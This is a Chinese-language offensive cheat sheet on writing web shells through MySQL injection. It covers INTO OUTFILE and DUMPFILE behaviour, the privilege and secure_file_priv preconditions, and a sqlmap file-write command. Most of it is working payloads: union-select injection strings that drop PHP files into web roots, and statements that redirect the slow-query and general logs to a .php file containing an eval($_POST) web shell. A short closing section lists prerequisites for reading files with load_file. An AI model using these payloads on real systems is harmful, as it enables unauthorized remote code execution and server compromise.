MySQL注入写shell
into outfile写shell
outfile()
dumpfile()
注意点
-
二者函数的路径不支持hex和char转换,必须由引号包裹
-
outfile函数可以导出多行,dumpfile函数只能导出一行数据
-
outfile函数在将数据写到文件里时有特殊的格式转换,dumpfile函数保持原数据格式
比如:写入a\naa\raaa
outfile会在将"\n"转义,并且在文件末尾新加入一行,结果为4行;而dumpfile则是原格式写入,没有转义,没有新增行,结果为三行
-
写入路径中指定的文件必须不存在,即无法覆盖写入
前提条件
1. file_priv
代表用户所具有的文件操作权限
2. secure_file_priv
代表mysql服务器所具有的文件操作权限
其值在mysql配置文件my.ini中设置,用作限制导入导出
- mysql>=5.5.53默认为NULL,即默认禁止导入导出
- mysql<5.5.53默认为空,即默认无限制
- 当其值=某目录时,即仅允许在该目录下导入导出
查看secure_file_priv
3. 知晓绝对路径且有写权限
利用
# SQL
?id=-1' union select '<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php';
?id=1 limit 1 into outfile 'C:/wamp64/www/work/shell.php' lines terminated by '<?php phpinfo() ?>';
# sqlmap
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/tmp/shell.php" --file-dest="/var/www/html/test/shell.php"
注意:
一般情况下,Linux系统中MySQL用户不拥有站点根目录的写权限,所以无法写入;在Windows环境下成功率更高。
日志写shell
MySQL 5.0 版本以上会创建日志文件,因此可通过修改日志的全局变量来 getshell
注意点
日志路径可hex,但是写入日志的内容必须引号包裹,如果内容中被转义加上反斜杠\,传至数据库会报错
前提条件
-
绝对路径
-
file_priv
-
不受secure_file_priv限制了
-
mysql用户有权限开启日志记录和更换日志路径
默认路径中如果是文件的相对路径,一般指在MySQL安装目录下生成
利用
mysql日志:错误日志、查询日志、慢查询日志、事务日志、二进制日志
其中可利用的为:慢查询日志和查询日志
慢查询日志
记录查询时间超过指定时间(默认10s)的日志
set global slow_query_log=1;
set global slow_query_log_file='xxx/logshell.php';
select "<?php eval($_POST[log]);?>" from xxx where sleep(11);
查询日志
set global general_log='on';
set global general_log_file='xxx/shell.php';
select '<?php @eval($_POST["log"]); ?>';
注意:
该文件虽然可写入,但创建者是mysql用户
假设该文件是.php,访问该文件会出现500状态码,所以大多数在Windows上会成功,而Linux基本不行。
读文件
注意点
load_file函数中的路径可以是单引号或0x、char转换的字符,但是路径中的斜杠是/而不是\
前提条件
所读文件的绝对路径
secure_file_priv
file_priv